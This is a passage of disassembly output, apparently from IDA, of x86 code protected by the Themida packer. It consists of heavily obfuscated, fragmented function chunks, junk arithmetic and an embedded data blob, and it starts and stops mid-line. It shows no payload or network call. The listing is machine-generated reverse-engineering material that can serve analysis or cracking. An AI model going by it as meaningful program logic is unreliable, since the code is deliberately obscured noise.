21h jmp loc_592AA8 ; --------------------------------------------------------------------------- loc_58B7A4: ; CODE XREF: sub_59196D-51A8j sub edx, eax pop eax pop esi jmp loc_594C48 ; --------------------------------------------------------------------------- loc_58B7AD: ; CODE XREF: sub_59196D+B8Aj push eax mov eax, 4 sub ebx, eax pop eax push ebx jmp loc_5902B0 ; --------------------------------------------------------------------------- loc_58B7BC: ; CODE XREF: sub_59196D+5DDAj pop ebp add ebp, edx pop edx add ebp, 54321693h or ebp, 5CB92DC7h push 4795h mov [esp+18h+var_1A+2], ecx jmp loc_58CFEB ; --------------------------------------------------------------------------- loc_58B7D9: ; CODE XREF: sub_59196D-4353j jmp loc_5917E4 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58B7DE: ; DATA XREF: Themida_:0058B0BCo push dword ptr [esp] jmp loc_58D0A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B7E6: ; CODE XREF: sub_59196D+68C8j and edx, 0A44849h add edx, 0FFFFF7BFh add edi, edx pop edx sub edi, 0B3C39908h sub eax, edi jmp loc_5933B6 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58B802: ; DATA XREF: Themida_:0058B0C0o push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B812: ; CODE XREF: sub_59196D+5F23j and edx, 7FA528E3h add edx, 0FFFBFF82h add ecx, edx pop edx xchg ecx, [esp+10h+var_12+2] pop esp sub bl, 9Eh sub esp, 2 jmp loc_58C451 ; --------------------------------------------------------------------------- loc_58B830: ; CODE XREF: sub_59196D+1AFEj mov [esp+10h+var_12+2], esi push esp jmp loc_592BA4 ; --------------------------------------------------------------------------- loc_58B839: ; CODE XREF: sub_59196D-CD0j mov ax, word ptr [esp+14h+var_16+2] push ebx mov ebx, esp add ebx, 4 push ebp push 2 mov ebp, [esp+20h+var_22+2] add esp, 4 add ebx, ebp mov ebp, [esp+1Ch+var_1E+2] jmp loc_58EC09 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58B85F proc near ; CODE XREF: sub_59196D+19F4j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005908B8 SIZE 00000025 BYTES sub esp, 4 jmp loc_5908B8 sub_58B85F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B86A: ; CODE XREF: sub_59196D-6396j add eax, ebx sub eax, 266A71BFh mov ebx, [esp+1Ch+var_1E+2] push eax jmp loc_58B756 ; --------------------------------------------------------------------------- loc_58B87A: ; CODE XREF: sub_59196D+F05j pop edi neg esi jb loc_597988 shl esi, 3 jp loc_595C05 mov dl, bh push edx loc_58B88F: ; CODE XREF: sub_59196D-1686j add al, 9Eh jo loc_59791D sub al, 7Dh mov dh, al jmp loc_58E51E ; --------------------------------------------------------------------------- loc_58B8A0: ; CODE XREF: sub_59196D+5B2Ej pop esi pop edx and eax, ecx pop ecx jmp loc_5948C1 ; --------------------------------------------------------------------------- loc_58B8AA: ; CODE XREF: sub_59196D+1CE0j sub edx, 32F440C7h jmp loc_58E129 ; --------------------------------------------------------------------------- loc_58B8B5: ; CODE XREF: sub_59196D+376j mov [esp+14h+var_16+2], edi push esi jmp loc_596BA6 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58B8BE: ; DATA XREF: Themida_:0058B0ACo push dword ptr [esp] mov eax, [esp] push 3256h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push ebp mov ebp, esp push eax mov eax, 30DB1E60h jmp loc_594D3A ; =============== S U B R O U T I N E ======================================= sub_58B8EB proc near ; CODE XREF: sub_59196D+615Fj sub esp, 4 jmp loc_597662 sub_58B8EB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B8F6: ; CODE XREF: sub_59196D-4D2Cj pop esi shl esi, 7 jp loc_58BEE9 add esi, 3721EA2h xor al, 83h mov ebx, eax loc_58B90A: ; CODE XREF: sub_59196D-4EE5j add ebx, ecx mov ecx, [esp+14h+var_16+2] jmp loc_592352 ; --------------------------------------------------------------------------- loc_58B914: ; CODE XREF: sub_59196D+4C5Bj add eax, 3C970889h jmp loc_591C51 ; --------------------------------------------------------------------------- loc_58B91E: ; CODE XREF: sub_59196D-3253j push edx sub esp, 4 mov [esp+1Ch+var_1E+2], esp jmp loc_597A4C ; --------------------------------------------------------------------------- loc_58B92D: ; CODE XREF: sub_59196D+5B4Bj mov edi, esp add edi, 4 push ebp mov ebp, 67A77EBCh push 0 jmp loc_5955C1 ; --------------------------------------------------------------------------- loc_58B945: ; CODE XREF: sub_59196D+2CBFj pop esi xchg edx, [esp+20h+var_22+2] jmp loc_5900D3 ; --------------------------------------------------------------------------- loc_58B94E: ; CODE XREF: sub_59196D-2F0Cj pop ecx jmp loc_58C279 ; --------------------------------------------------------------------------- loc_58B954: ; CODE XREF: sub_59196D+3E96j push eax mov eax, ecx mov edx, eax jmp loc_58F184 ; --------------------------------------------------------------------------- loc_58B95E: ; CODE XREF: sub_59196D+1305j push [esp+20h+var_1E+2] pop edx pop [esp+20h+var_22+2] pop esp bswap eax push 4F76h mov [esp+1Ch+var_1E+2], ebp jmp loc_595555 ; --------------------------------------------------------------------------- loc_58B976: ; CODE XREF: sub_59196D+24D8j not edx xchg edx, ebx neg ebx xor ebx, 410369CDh jmp loc_59836A ; --------------------------------------------------------------------------- loc_58B987: ; CODE XREF: sub_59196D-4FBAj ; sub_59196D+2EEAj add ecx, edi push ebx jmp loc_596BEC ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58E9F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B998: ; CODE XREF: sub_59196D+5A70j xor [esp+20h+var_22+2], ebp xor ebp, [esp+20h+var_22+2] jmp loc_58EDED ; --------------------------------------------------------------------------- loc_58B9A3: ; CODE XREF: sub_59196D+44FCj mov eax, [esp+20h+var_22+2] add esp, 4 shr edx, 7 shl edx, 4 js loc_58D91D add edx, 31F00243h jz loc_5901F8 add edx, 16B81A31h js loc_58C004 xor edx, 440B9BCBh mov ecx, edx pop edx jmp loc_595D66 ; --------------------------------------------------------------------------- loc_58B9DE: ; CODE XREF: sub_59196D+6CD0j push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5927FA ; --------------------------------------------------------------------------- loc_58B9F2: ; CODE XREF: sub_59196D+2191j push ecx mov ch, 0BBh neg ch and ch, 0D8h jmp loc_58E7B5 ; --------------------------------------------------------------------------- loc_58B9FF: ; CODE XREF: sub_59196D+5697j mov edi, 62F7ADDh mov esi, edi mov edi, [esp+20h+var_22+2] add esp, 4 sub ebp, esi jmp loc_58CE4E ; --------------------------------------------------------------------------- loc_58BA16: ; CODE XREF: sub_59196D+6C16j pop esi xchg esi, [esp+18h+var_1A+2] push [esp+18h+var_1A+2] mov eax, [esp+1Ch+var_1E+2] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_593272 ; --------------------------------------------------------------------------- loc_58BA31: ; CODE XREF: sub_59196D-189Fj push 5AECh jmp loc_58E78C ; --------------------------------------------------------------------------- loc_58BA3B: ; CODE XREF: sub_59196D-59F9j pop edx jmp loc_596769 ; --------------------------------------------------------------------------- loc_58BA41: ; CODE XREF: sub_59196D:loc_595CE2j add edx, 6CAD461Ah mov ebx, edx mov edx, [esp+20h+var_22+2] add esp, 4 mov edi, ebx pop ebx sub edi, 5F2479E8h sub edi, esi add edi, 5F2479E8h xchg edi, esi jmp loc_58E888 ; --------------------------------------------------------------------------- loc_58BA6A: ; CODE XREF: sub_59196D+528j mov cx, word ptr [esp+18h+var_1A+2] add esp, 2 jmp loc_597023 ; --------------------------------------------------------------------------- loc_58BA76: ; CODE XREF: sub_59196D:loc_592724j add eax, 60CA14C6h jmp loc_58CDAC ; --------------------------------------------------------------------------- loc_58BA80: ; CODE XREF: sub_59196D+23B0j add edi, ebp pop ebp xchg edi, [esp+10h+var_12+2] pop esp mov ecx, [esp+0Ch+var_C] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp+10h+var_12+2] xor [esp+10h+var_12+2], edi xor edi, [esp+10h+var_12+2] pop esp push edi mov edi, 5ACB5103h and edi, 1E4E0E6Ah dec edi inc edi xor edi, 28F52EEEh push ebx jmp loc_591040 ; --------------------------------------------------------------------------- loc_58BABD: ; CODE XREF: sub_59196D+5C44j add ecx, 4 push esi mov esi, 2 jmp loc_593FE5 ; --------------------------------------------------------------------------- loc_58BACE: ; CODE XREF: sub_59196D-500Ej ; sub_59192A-2D68j and dl, 18h xor dl, 0FFh mov cl, dl pop edx sub esp, 4 jmp loc_594130 ; --------------------------------------------------------------------------- loc_58BAE2: ; CODE XREF: sub_59196D+587Cj xchg esi, [esp+18h+var_1A+2] pop esp xor [esp+14h+var_16+2], eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58BAEF: ; CODE XREF: sub_59196D+4598j sub ebp, 0A65EBF02h and [edi+1Ch], ebp mov ebp, [esp+18h+var_1A+2] push edi mov edi, esp add edi, 4 jmp loc_591857 ; --------------------------------------------------------------------------- loc_58BB09: ; CODE XREF: sub_59196D+3BBFj dec edi js loc_58F03C jmp loc_58D490 ; --------------------------------------------------------------------------- loc_58BB15: ; CODE XREF: sub_59196D-43BDj add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58BB1D: ; CODE XREF: sub_59196D+1051j push eax push esp pop eax push edx mov edx, 71604329h jmp loc_595891 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BF03 loc_58BB2B: ; CODE XREF: sub_58BF03+15j push edx jmp loc_595E61 ; END OF FUNCTION CHUNK FOR sub_58BF03 ; =============== S U B R O U T I N E ======================================= sub_58BB31 proc near ; CODE XREF: sub_59196D-22Dj push ebx mov ebx, 0F2E01A87h sub edx, ebx pop ebx add edi, 12360752h add edi, edx sub edi, 12360752h push dword ptr [esp+0] pop edx push ebx jmp loc_59226A sub_58BB31 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58BB52: ; CODE XREF: sub_59196D-8D4j add ebx, edx pop edx jmp loc_596679 ; --------------------------------------------------------------------------- loc_58BB5A: ; CODE XREF: sub_59196D-1EEDj shl dh, 3 add dh, 9Bh jmp loc_58B616 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59843D loc_58BB65: ; CODE XREF: sub_59843D+3j mov [esp+0], ebx mov ebx, esp jmp sub_58D7D7 ; END OF FUNCTION CHUNK FOR sub_59843D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58BB6F: ; CODE XREF: sub_59196D-4796j xor esi, 2B7B0F78h js loc_592F76 jmp loc_591EE5 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- jmp loc_58C76A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58BB85: ; CODE XREF: sub_59196D-2448j ; sub_59196D+3DFj pop ebx and ebp, 5F19294Fh or ebp, 228D71CBh jmp loc_591EE5 ; --------------------------------------------------------------------------- loc_58BB97: ; CODE XREF: sub_59196D-2AE7j and esi, 5CAB4A71h jmp loc_58D695 ; --------------------------------------------------------------------------- loc_58BBA2: ; CODE XREF: sub_59196D+4A7Dj mov edi, 2CEB2835h jmp loc_59054A ; --------------------------------------------------------------------------- loc_58BBAC: ; CODE XREF: sub_59196D-1563j pop eax push edx mov edx, 2C650437h push edi mov edi, 4FDE402Bh jmp loc_59601A ; --------------------------------------------------------------------------- loc_58BBBE: ; CODE XREF: sub_59196D-848j xor eax, 1B6985h xor ecx, eax push [esp+1Ch+var_1E+2] jmp loc_591BC1 ; --------------------------------------------------------------------------- loc_58BBCD: ; CODE XREF: sub_59196D+443Bj pop esi and [edi+1Ch], eax mov eax, [esp+1Ch+var_1E+2] jmp loc_5901A2 ; --------------------------------------------------------------------------- loc_58BBD9: ; CODE XREF: sub_59196D-57F6j sub eax, 0CA25DAh mov edi, [esp+1Ch+var_1E+2] push 555Ah mov [esp+20h+var_22+2], eax mov eax, esp add eax, 4 push ebx jmp loc_5925DB ; --------------------------------------------------------------------------- loc_58BBF6: ; CODE XREF: sub_59196D+68FBj push 3B63h jmp loc_59842D ; --------------------------------------------------------------------------- loc_58BC00: ; CODE XREF: sub_59196D+FD6j mov [esp+28h+var_2A+2], ebp push eax mov eax, 54515913h jmp loc_58DE62 ; --------------------------------------------------------------------------- loc_58BC0E: ; CODE XREF: sub_59196D-214Fj mov [esp+2Ch+var_2E+2], eax jmp loc_593E9D ; --------------------------------------------------------------------------- loc_58BC16: ; CODE XREF: sub_59196D-31F6j add edi, 54EB0080h or edi, 61C12276h xor edi, 4E2DF772h jmp loc_593D40 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58BC2D: ; DATA XREF: Themida_:0058B09Co mov cx, [esp] push ebp mov ebp, esp push ebx mov ebx, 9A81590h jmp loc_58EB2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58BC3F: ; CODE XREF: sub_59196D:loc_595A6Aj add esi, 0EEF6FBE8h mov edx, esi pop esi sub edx, 2FD933BDh jmp loc_59808E ; --------------------------------------------------------------------------- loc_58BC53: ; CODE XREF: sub_59196D-49C4j pop esp mov [esp+24h+var_26+2], esi push 2 pop esi sub ecx, 6DF05BD4h add ecx, esi push esi mov esi, 129C092Dh shr esi, 2 dec esi xor esi, 524D4D19h jmp loc_593E07 ; --------------------------------------------------------------------------- loc_58BC7A: ; CODE XREF: sub_59196D+28BDj xchg edi, [esp+28h+var_2A+2] pop esp mov [esp+24h+var_26+2], edi push esi mov esi, ebx mov edi, esi mov esi, [esp+28h+var_2A+2] jmp loc_58D544 ; --------------------------------------------------------------------------- loc_58BC8E: ; CODE XREF: sub_59196D+4794j push 4FD0h mov [esp+2Ch+var_2E+2], esp jmp loc_594F41 ; --------------------------------------------------------------------------- loc_58BC9B: ; CODE XREF: sub_59196D+3AC0j pop esi jmp loc_590635 ; --------------------------------------------------------------------------- loc_58BCA1: ; CODE XREF: sub_59196D+44A3j shr cl, 3 jmp loc_59470B ; --------------------------------------------------------------------------- loc_58BCA9: ; CODE XREF: sub_59196D+35DBj pop eax push ebx mov ebx, 4 jmp loc_59530B ; --------------------------------------------------------------------------- loc_58BCB5: ; CODE XREF: sub_59196D+1BACj xor edx, eax xor eax, edx xor edx, eax jmp loc_5921E9 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58BCC0: ; CODE XREF: Themida_:0058F9B3j push edx push esp mov edx, [esp] add esp, 4 push ebp mov ebp, 7AF76197h neg ebp push eax jmp loc_592838 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58BCD9: ; CODE XREF: sub_59196D-515Cj not esi sub esp, 4 mov [esp+2Ch+var_2E+2], edi jmp sub_58E3B7 ; --------------------------------------------------------------------------- loc_58BCE9: ; CODE XREF: sub_59196D-1D75j jmp loc_593967 ; --------------------------------------------------------------------------- loc_58BCEE: ; CODE XREF: sub_59196D+52B2j ; sub_59196D+59EBj push esi jmp loc_593B0D ; --------------------------------------------------------------------------- loc_58BCF4: ; CODE XREF: sub_59196D-12AAj pop [esp+30h+var_32+2] pop esp jmp loc_596B1E ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58BCFD: ; CODE XREF: Themida_:0058DFFCj pop edx add edx, 4 push 735Ah mov [esp], eax mov eax, 2 jmp loc_58FF25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58BD16: ; CODE XREF: sub_59196D:loc_58C9ACj push esi jmp loc_594270 ; --------------------------------------------------------------------------- loc_58BD1C: ; CODE XREF: sub_59196D+5F96j sub bl, dl sub bl, 0EFh mov dx, word ptr [esp+2Ch+var_2E+2] add esp, 2 push ax mov ah, 7Dh jmp loc_597149 ; --------------------------------------------------------------------------- loc_58BD34: ; CODE XREF: sub_59196D+165Aj ; sub_59196D+4310j add ebx, 675249ADh add ebx, 64F612A1h sub eax, ebx pop ebx jmp loc_597942 ; --------------------------------------------------------------------------- loc_58BD48: ; CODE XREF: sub_59196D-564Dj shr edx, 1 and edx, 57234C7Eh neg edx not edx jmp loc_595980 ; --------------------------------------------------------------------------- loc_58BD59: ; CODE XREF: sub_59196D+4395j mov ah, byte ptr [esp+26h+var_26] add esp, 2 sub ah, 4Eh add bl, ah jmp loc_58EC8F ; --------------------------------------------------------------------------- loc_58BD69: ; CODE XREF: sub_59196D-144j sub ebp, edi pop edi xor ebp, eax xor eax, ebp xor ebp, eax sub eax, 1 xchg eax, ebp push ecx mov ecx, 14D30737h or ecx, 4BDC4897h jnp loc_592C41 xor ecx, 6BE52D20h add ebp, ecx pop ecx push ebx mov ebx, 4061436Ah sub ebp, ebx pop ebx push ecx mov ecx, 5F07482Bh shl ecx, 6 push edi jmp loc_590899 ; --------------------------------------------------------------------------- loc_58BDA9: ; CODE XREF: sub_59196D+25F6j ; sub_59196D+6B8Fj push 2FC3h mov [esp+2Ah+var_2A], eax mov eax, 3BEA5584h push 3C2Dh mov [esp+2Eh+var_2E], edx jmp loc_592828 ; --------------------------------------------------------------------------- loc_58BDC3: ; CODE XREF: sub_59196D+1AE2j inc ebx add ebx, 195A1E3Bh jmp loc_597268 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590BE0 loc_58BDCF: ; CODE XREF: sub_590BE0-5596j add ebx, 4 xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] pop esp push ecx push eax mov eax, 40h push eax push [esp+4+var_4] pop ecx jmp loc_59484A ; END OF FUNCTION CHUNK FOR sub_590BE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58BDF0: ; CODE XREF: sub_59196D-19D6j push ecx mov ecx, 5F963ED5h add eax, 1E223502h add eax, ecx sub eax, 1E223502h pop ecx jmp loc_5949EE ; --------------------------------------------------------------------------- loc_58BE08: ; CODE XREF: sub_59196D+2908j jnz loc_590550 sub esi, 2C521FCAh jmp loc_5978CA ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- pop ebx sub ebp, 4 ; START OF FUNCTION CHUNK FOR sub_59196D loc_58BE1D: ; CODE XREF: sub_59196D-3B26j neg al jl loc_58C868 neg al jmp loc_58D714 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov [esp], edi push ebp ; START OF FUNCTION CHUNK FOR sub_59196D loc_58BE30: ; CODE XREF: sub_59196D-39CCj mov [esp+2Eh+var_2E], ebp mov ebp, 4F666180h add eax, ebp mov ebp, [esp+2Eh+var_2E] push 490Fh mov [esp+32h+var_32], esi mov esi, esp jmp loc_597A17 ; --------------------------------------------------------------------------- loc_58BE4C: ; CODE XREF: sub_59196D-E8Fj push 720Ah mov [esp+36h+var_36], esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp+36h+var_36] xor [esp+36h+var_36], esi xor esi, [esp+36h+var_36] jmp loc_58C69E ; --------------------------------------------------------------------------- loc_58BE6D: ; CODE XREF: sub_59196D-5114j and eax, esi mov esi, [esp+36h+var_36] add esp, 4 or eax, eax jz loc_594C84 push dword ptr [edi+1Ch] push edi push ebp push 5B6715BFh pop ebp sub ebp, 2503B652h jmp loc_597504 ; --------------------------------------------------------------------------- loc_58BE93: ; CODE XREF: sub_59196D+3982j add eax, 4 xchg eax, [esp+3Eh+var_40+2] jmp loc_58C004 ; --------------------------------------------------------------------------- loc_58BE9E: ; CODE XREF: sub_59196D+3727j pop ebp add eax, ecx sub eax, 3ED401D9h mov ecx, [esp+3Ah+var_3C+2] add esp, 4 jmp loc_5920E5 ; --------------------------------------------------------------------------- loc_58BEB1: ; CODE XREF: sub_59196D-2A5Bj pop ebx push 5002h mov [esp+36h+var_36], eax jmp loc_595E1E ; --------------------------------------------------------------------------- loc_58BEBF: ; CODE XREF: sub_59196D+6847j push 363Fh mov [esp+3Ah+var_3C+2], esp push ebp mov ebp, 4 add [esp+3Eh+var_3C+2], ebp pop ebp push [esp+3Ah+var_3C+2] mov ebp, [esp+3Eh+var_40+2] add esp, 4 add esp, 4 add ebp, 4 jmp loc_59559C ; --------------------------------------------------------------------------- loc_58BEE9: ; CODE XREF: sub_59196D-6073j add esi, 3721EA2h jmp loc_596699 ; --------------------------------------------------------------------------- loc_58BEF4: ; CODE XREF: sub_59196D+15B5j shr esi, 3 jmp loc_593237 ; --------------------------------------------------------------------------- loc_58BEFC: ; CODE XREF: sub_59196D+30F4j add ebx, edx jmp loc_58F217 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58BF03 proc near ; DATA XREF: Themida_:0058B208o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0058BB2B SIZE 00000006 BYTES mov eax, [esp+0] push ebp push esp pop ebp add ebp, 4 push 18B6h mov [esp+8+var_8], ebx push ecx jmp loc_58BB2B sub_58BF03 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58BF1D: ; CODE XREF: sub_59196D+D2Bj mov [esp+14h+var_16+2], eax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58BF25: ; CODE XREF: sub_59196D+4A74j push eax mov eax, 1F4A15D8h xor eax, 4F2A1A75h inc eax push edi mov edi, 56EB3CDDh not edi jmp loc_5931B6 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590792 loc_58BF3E: ; CODE XREF: sub_590792+Fj push ecx mov ch, bl mov dl, ch mov ecx, [esp+14h+var_14] add esp, 4 push ebx mov bl, dl jmp loc_58B444 ; END OF FUNCTION CHUNK FOR sub_590792 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58BF54: ; CODE XREF: sub_59196D-5743j mov ecx, 7B082521h or edx, ecx pop ecx not edx jmp loc_597CCF ; --------------------------------------------------------------------------- loc_58BF63: ; CODE XREF: sub_59196D-3B83j pop ecx add eax, ebx push edx mov edx, 5CDB3566h xor edx, 3C4C1F69h sub eax, edx jmp loc_58BA3B ; --------------------------------------------------------------------------- loc_58BF79: ; CODE XREF: sub_59196D-4A43j ; sub_59196D+7Dj push esp pop esi jmp loc_5963E6 ; --------------------------------------------------------------------------- loc_58BF80: ; CODE XREF: sub_59196D-6506j sub ebp, 0FF7D7ECDh sub edx, 53815C19h jmp loc_58B498 ; --------------------------------------------------------------------------- loc_58BF91: ; CODE XREF: sub_59196D+4C55j or ebp, 0D7E1559h add ebp, 0D1160AD2h or ebx, ebp pop ebp or ebx, 714E05F5h not ebx push edi mov edi, 47572A34h or edi, 2FF24D04h jmp loc_593E19 ; --------------------------------------------------------------------------- loc_58BFB9: ; CODE XREF: sub_59196D+29E7j mov eax, 1CA45C17h add [esp+8+var_4], 5964F98h add [esp+8+var_4], eax sub [esp+8+var_4], 5964F98h pop eax pop ecx jmp loc_59828B ; --------------------------------------------------------------------------- loc_58BFD9: ; CODE XREF: sub_59196D-3D92j neg eax add eax, 7E2ABE6h mov ebp, eax pop eax jmp loc_595FD6 ; --------------------------------------------------------------------------- loc_58BFE8: ; CODE XREF: sub_59196D-3B42j ; sub_59196D+38D7j push ecx push 78A56B14h pop ecx shr ecx, 6 shr ecx, 1 neg ecx jmp loc_58EF1C ; --------------------------------------------------------------------------- loc_58BFFB: ; CODE XREF: sub_59196D-1E95j add esp, 4 push eax jmp loc_58B781 ; --------------------------------------------------------------------------- loc_58C004: ; CODE XREF: sub_59196D-5FA3j ; sub_59196D-5AD4j pop esp sub ebp, 65F2FB39h and eax, ebp pop ebp shr eax, 12h xor eax, ecx sub esp, 4 jmp loc_58F17A ; --------------------------------------------------------------------------- loc_58C01B: ; CODE XREF: sub_59196D-65B2j add al, 0F0h sub al, dh sub al, 0F0h jmp loc_59065B ; --------------------------------------------------------------------------- loc_58C026: ; CODE XREF: sub_59196D+3C1Bj push 0E96485Dh pop esi push esi push 0C814FBDh mov esi, [esp+8+var_8] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] xor esi, 21707E0h push esi xor [esp+10h+var_12+2], 74B56057h pop ebx xor ebx, 74B56057h mov esi, [esp+0Ch+var_C] add esp, 4 jmp loc_58C3A1 ; --------------------------------------------------------------------------- loc_58C067: ; CODE XREF: sub_59196D+61CBj pop ecx jmp loc_59202A ; --------------------------------------------------------------------------- loc_58C06D: ; CODE XREF: sub_59196D-461j mov ebx, 9A6A894Ah sub ecx, ebx jmp loc_596C56 ; --------------------------------------------------------------------------- loc_58C079: ; CODE XREF: sub_59196D-25B1j xor ebx, 4A5A888h mov ecx, ebx pop ebx add eax, 5AD330D4h sub eax, ecx push edx mov edx, 5D39183Dh dec edx sub edx, 447C4A3Bh jmp loc_594EB5 ; --------------------------------------------------------------------------- loc_58C09B: ; CODE XREF: sub_59196D-45BBj pop esp push dword ptr [esp+0] push [esp+4+var_4] pop eax push edx sub esp, 4 jmp loc_58C62B ; --------------------------------------------------------------------------- loc_58C0AF: ; CODE XREF: sub_59196D-4907j add esi, 4 xchg esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] jmp loc_58D1A3 ; --------------------------------------------------------------------------- loc_58C0BD: ; CODE XREF: sub_59196D+2E32j add esp, 4 mov ch, bh mov ebx, [esp+8+var_8] add esp, 4 add ch, 22h sub esp, 4 mov [esp+8+var_8], eax jmp loc_59302A ; --------------------------------------------------------------------------- loc_58C0D6: ; CODE XREF: sub_59196D+1AA5j add [esp+8+var_8], 4 pop [esp+8+var_8] push edi mov edi, 4 add [esp+8+var_4], edi jmp loc_594685 ; --------------------------------------------------------------------------- loc_58C0EC: ; CODE XREF: sub_59196D-4D1Bj add eax, ebp jmp loc_592E10 ; --------------------------------------------------------------------------- loc_58C0F3: ; CODE XREF: sub_59196D-767j jmp loc_59065B ; --------------------------------------------------------------------------- loc_58C0F8: ; CODE XREF: sub_59196D+5FABj mov ecx, 6344303Eh sub edx, ecx pop ecx jmp loc_59566B ; --------------------------------------------------------------------------- loc_58C105: ; CODE XREF: sub_59196D-499Bj sub edi, 0FFFFFFFFh xor edi, 3B1D0D93h add eax, edi pop edi push esi mov esi, 67140081h shr esi, 2 shr esi, 4 or esi, 1BD97234h and esi, 76EA10B9h jmp loc_58F377 ; --------------------------------------------------------------------------- loc_58C131: ; CODE XREF: sub_59196D-629Dj neg al jmp loc_5908DD ; --------------------------------------------------------------------------- loc_58C138: ; CODE XREF: sub_59196D-D0Aj push esp pop edi add edi, 4 push edx mov edx, 4 sub edi, 1E493EC7h jmp loc_5925E5 ; --------------------------------------------------------------------------- loc_58C151: ; CODE XREF: sub_59196D+A9Fj pop ebp pop [esp+14h+var_16+2] pop esp xor ebp, 7D7F6EBFh and eax, ebp jmp loc_593393 ; --------------------------------------------------------------------------- loc_58C163: ; CODE XREF: sub_59196D+6C06j sub eax, esi pop esi sub eax, 7F40214Eh add eax, edi add eax, 7F40214Eh add eax, 54D335EFh jmp loc_58BBD9 ; --------------------------------------------------------------------------- loc_58C17C: ; CODE XREF: sub_59196D-1855j pop ebx add al, bl push edx mov dl, 0F7h xor dl, 9Ah sub dl, 12h sub al, dl mov edx, [esp+8+var_8] add esp, 4 sub al, 62h push ecx mov cl, 0FCh push ecx jmp loc_5924C1 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58C19E proc near ; CODE XREF: sub_59196D-2400j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00590245 SIZE 0000000E BYTES push ebx push edx mov edx, 80A29599h mov ebx, edx pop edx add edi, ebx pop ebx push edi pop ebp mov edi, [esp+0] jmp loc_590245 sub_58C19E endp ; sp-analysis failed ; --------------------------------------------------------------------------- aN1RNhBAhUh db '╜1ьR╨╧NH&│бahхuh$"',0 dd 240C8900h, 9CD68h, 241C8900h, 0C87D16BBh, 3E3C11Ch dd 0F07EBC1h, 6AC88h, 0E2CB8100h, 0F0A8518h, 2D268Ah, 69D7E900h dd 0C9810000h, 48132CAAh, 20242C81h, 68074855h, 6D96h dd 53243C89h, 4D538A68h, 0B8505B64h, 0D8B48DAh, 0D0F7D0F7h dd 2503E8C1h, 1C4149D7h, 73CE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C229: ; CODE XREF: sub_59196D-27E7j push ecx jmp loc_58BF54 ; --------------------------------------------------------------------------- loc_58C22F: ; CODE XREF: sub_59196D+10C8j sub cl, 3Bh neg cl sub cl, 14h inc cl sub cl, 42h add al, cl pop ecx jmp loc_592782 ; --------------------------------------------------------------------------- loc_58C244: ; CODE XREF: sub_59196D+2026j mov edi, 64A47497h neg edi and edi, 3FF4228Fh neg edi push eax mov eax, 4728364Bh jmp loc_59138F ; --------------------------------------------------------------------------- loc_58C25E: ; CODE XREF: sub_59196D-632Fj ; sub_59196D:loc_5938AEj mov edx, ebp push [esp+18h+var_1A+2] pop ebp push esi mov esi, esp jmp loc_59158D ; --------------------------------------------------------------------------- loc_58C26C: ; CODE XREF: 